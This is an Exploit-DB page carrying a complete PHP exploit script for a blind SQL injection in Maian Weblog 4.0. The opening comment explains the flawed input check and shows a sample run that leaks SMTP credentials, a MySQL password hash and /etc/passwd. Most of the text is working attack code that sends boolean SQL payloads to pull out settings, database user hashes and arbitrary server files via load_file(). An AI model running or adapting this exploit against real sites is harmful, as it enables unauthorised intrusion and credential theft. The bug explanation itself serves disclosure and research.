Maian Weblog 4.0 – Blind SQL Injection

  • 作者: mr_me
    日期: 2011-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16949/
  • <?php
    /*
    maian weblog <= v4.0 Remote Blind SQL Injection Exploit
    vendor: http://www.maianscriptworld.co.uk/
    Thanks to Johannes Dahse: http://bit.ly/dpQXMK
    
    Explanation:
    Lines 335 - 341 of the index.php we see this if statement that concerns
    our variable $b_post.
    
     // Check month and year vars...
     // If they don`t equal 0, are they numeric?..
     if ($b_post==0 && !ctype_digit($b_post))
     {
     header("Location: index.php");
     exit;
     }
    
    This if statement is suppose to prevent the SQL Injection vulnerability.
    However the logic implimented is incorrect, as there will never be a situation
    where the $b_post variable that we control will ever be a 0 and a string value.
    
    So a simple fix to remediate this issue becomes clear, instead of an &&, the
    author was suppose to use an ||. o.O
    
    Further down in the index.php page on lines 348 - 361, we see the location of the
    actual vulnerable code.
    
     $q_blog = mysql_query("SELECT * FROM ".$database['prefix']."blogs
    WHERE id = '$b_post'
    LIMIT 1
    ") or die(mysql_error());
     $BLOG = mysql_fetch_object($q_blog);
    
     // At this point, lets see if the last query fetched anything..
     // If it didn`t, blog id is invalid. Might be someone bookmarked an old link..
     // If no data, redirect to homepage..
     if (mysql_num_rows($q_blog)==0)
     {
     header("Location: index.php");
     exit;
     }
    
    The page redirects after the query is executed. This way you probably won't spot the
    bug in your browser from a blackbox view :). No urldecode() so we can't bypass 
    magic_quotes_gpc and the admin credentials are not stored in the database. doh.
    
    Using < or > would make the PoC a little more efficient, but oh well :0)	 
    Assuming some stars are aligned, the PoC will make well over 11,000 requests...
    [mr_me@pluto maian_weblog]$ php PoC.php -t 192.168.56.101 -d /maian_weblog/ -p 127.0.0.1:8080
    
    -------------------------------------------------------
    maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
    by mr_me - https://net-ninja.net/
    -------------------------------------------------------
    
    (+) Setting the proxy to 127.0.0.1:8080
    (+) Getting basic database information
    (+) Database version -> 5.1.41-3ubuntu12.9
    (+) Database name -> maian_weblog
    (+) Database user -> root@localhost
    (+) SMTP details found!
    (+) Getting SMTP host:user:pass -> localhost:maianmail:password
    (+) Access to MySQL database successful, dumping hash!
    (+) MySQL user:pass -> root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
    (!) Access to load_file(), wanna play? (y/n): y
    
    (+) Please enter the file (q to quit): /etc/shadow
    (-) File doesn't exist/no access.
    (+) Please enter the file (q to quit): /etc/passwd
    (!) Dumping the /etc/passwd file, hold onto your knickers!
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:......
    */
    
    print_r("
    -------------------------------------------------------
    maian weblog <= v4.0 Remote Blind SQL Injection Explo!t
    by mr_me - https://net-ninja.net/
    -------------------------------------------------------
    ");
    
    if ($argc < 3) {
    print_r("
    -----------------------------------------------------------------------------
    Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS
    host:target server (ip/hostname)
    path:directory path to wordpress
    Options:
     -p[ip:port]: specify a proxy
    Example:
    php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/ -p 127.0.0.1:8080
    php ".$argv[0]." -t 192.168.1.5 -d /webapps/wp/
    -----------------------------------------------------------------------------
    "); die; }
    
    error_reporting(7);
    ini_set("max_execution_time", 0);
    ini_set("default_socket_timeout", 5);
    
    $proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";
    
    function setArgs($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
    if (ereg("--([^=]+)=(.*)", $arg, $reg)) {
    $_ARG[$reg[1]] = $reg[2];
    } elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)) {
    $_ARG[$reg[1]] = "true";
    } else {
    $_ARG["input"][] = $arg;
    }
    }
    return $_ARG;
    }
    
    $myArgs = setArgs($argv);
    $host = $myArgs["input"]["1"];
    $path = $myArgs["input"]["2"];
    
    if (strpos($host, ":") == true){
    $hostAndPort = explode(":",$myArgs["input"][1]);
    $host = $hostAndPort[0];
    $port = $hostAndPort[1];
    }else{
    $port = 80;
    }
    
    if(isset($myArgs["p"])){
    $proxyAndPort = explode(":",$myArgs["input"][3]);
    $proxy = $proxyAndPort[0];
    $pport = $proxyAndPort[1];
    echo "\n(+) Setting the proxy to ".$proxy.":".$pport;
    }else{
    echo "\n(-) Warning, a proxy was not set";
    }
    
    // rgods sendpacketii() function
    function sendpacket($packet)
    {
    global $proxy, $host, $port, $pport, $html, $proxy_regex;
    if (!isset($proxy)) {
    $ock = fsockopen(gethostbyname($host),$port);
    if (!$ock) {
    echo "\n(-) No response from ".$host.":".$port; die;
    }
    }
    else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
    echo "\n(-) Not a valid proxy..."; die;
    }
    $ock=fsockopen($proxy,$pport);
    if (!$ock) {
    echo "\n(-) No response from proxy..."; die;
    }
    }
    fputs($ock,$packet);
    if ($proxy == "") {
    $html = "";
    while (!feof($ock)) {
    $html .= fgets($ock);
    }
    }
    else {
    $html = "";
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {
    $html .= fread($ock,1);
    }
    }
    fclose($ock);
    return $html;
    }
    
    function read() {
    $fp1 = fopen("/dev/stdin", "r");
    $input = fgets($fp1, 255);
    fclose($fp1);
    return $input;
    }
    
    if (!$myArgs["p"]) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}
    
    function checksqli($sqli, $p){
    $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $html = sendpacket($packet);
    if (strlen($html) > 429) { return 1; } else{ return 0; }
    }
    
    function getbasicinfo($p){
    echo "\n(+) Getting basic database information";
    $basicinfo = array("version" => "@@version", "name" => "database()", "user" => "user()");
    foreach($basicinfo as $key => $value){
    echo "\n(+) Database ".$key." -> ";
    $admin = ""; $j=1;
    while (!strstr($admin,chr(0))){
    for ($i=1; $i<=126; $i++){
    $sqli="'+and+ascii(substring(".$value.",".$j.",1))='".$i;
    $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $html = sendpacket($packet);
    if (strlen($html) > 429){
    $admin.= chr($i);
    echo chr($i); break;
    }
    elseif($i === 126){
    $admin .= "\x00";
    break;
    }
    }
    $j++;
    }
    }
    }
    
    function getlogindetails($p, $msg, $tsqli){
    echo $msg;
    $tempvar = ""; $j=1;
    while (!strstr($tempvar,chr(0))){
    for ($i=1; $i<=126; $i++){
    if (!strpos($tsqli, "load_file") == true){
    $sqli = $tsqli."+limit+0,1),".$j.",1))='".$i;
    }
    else
    {
    $sqli = $tsqli."),".$j.",1))='".$i;
    }
    $packet = "GET ".$p."index.php?cmd=blog&post=1".$sqli." HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $html = sendpacket($packet);
    if (strlen($html) > 429){
    echo chr($i); break;
    }
    elseif($i === 126){
    $tempvar .= "\x00";
    break;
    }
    }
    $j++;
    }
    
    }
    
    function strhex($string)
    {
    $hex = "";
    for ($i=0; $i < strlen($string); $i++){
    $hex .= dechex(ord($string[$i]));
    }
    return $hex;
    }
    
    getbasicinfo($p);
    $smtpsqli = "'+and+substring((sEleCt+smtp+from+mw_settings+limit+0,1),1,1)='1";
    if (checksqli($smtpsqli, $p)){
    echo "\n(+) SMTP details found!";
    $msg = "\n(+) Getting SMTP host:user:pass -> ";
    $sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
    $sqli .= "smtp_host,0x3a,smtp_user,0x3a,smtp_pass)+";
    $sqli .= "from+mw_settings";
    getlogindetails($p, $msg, $sqli);
    }
    
    $mysqlsqli = "'+and+(select+1+from+mysql.user+limit+0,1)='1";
    if (checksqli($mysqlsqli, $p)){
    echo "\n(+) Access to MySQL database successful, dumping hash!";
    $msg = "\n(+) MySQL user:pass -> ";
    $sqli = "'+and+ascii(substring((sElEcT+cOncAt(";
    $sqli .= "user,0x3a,password)+from+mysql.user+";
    getlogindetails($p, $msg, $sqli);
    $loadsqli = "'+and+!isnull(loAd_fIle(0x2F6574632F706173737764))--+";
    if (checksqli($loadsqli, $p)){
    echo "\n(!) Access to load_file(), wanna play? (y/n): ";
    $resp = trim(read());
    if(strcmp($resp,"y") === 0){
    $loadfile = "";
    while (strcmp($loadfile, "q") != 0){
    echo "\n(+) Please enter the file (q to quit): ";
    $loadfile = trim(read());
    if (strcmp($loadfile, "q") === 0) { break; }
    $loadsqli = "'+and+!isnull(loAd_fIle(0x".strhex($loadfile)."))--+";
    if(checksqli($loadsqli, $p)){
    $sqli = "'+and+ascii(substring(load_file(0x".strhex($loadfile);
    $msg = "(!) Dumping the ".$loadfile." file, hold onto your knickers!\n";
    getlogindetails($p, $msg, $sqli);
    }
    else{
    echo "(-) File doesn't exist/no access.";
    }
    }
    }
    else{
    echo "(-) Ok Exiting..\n"; die;
    }
    }
    }
    ?>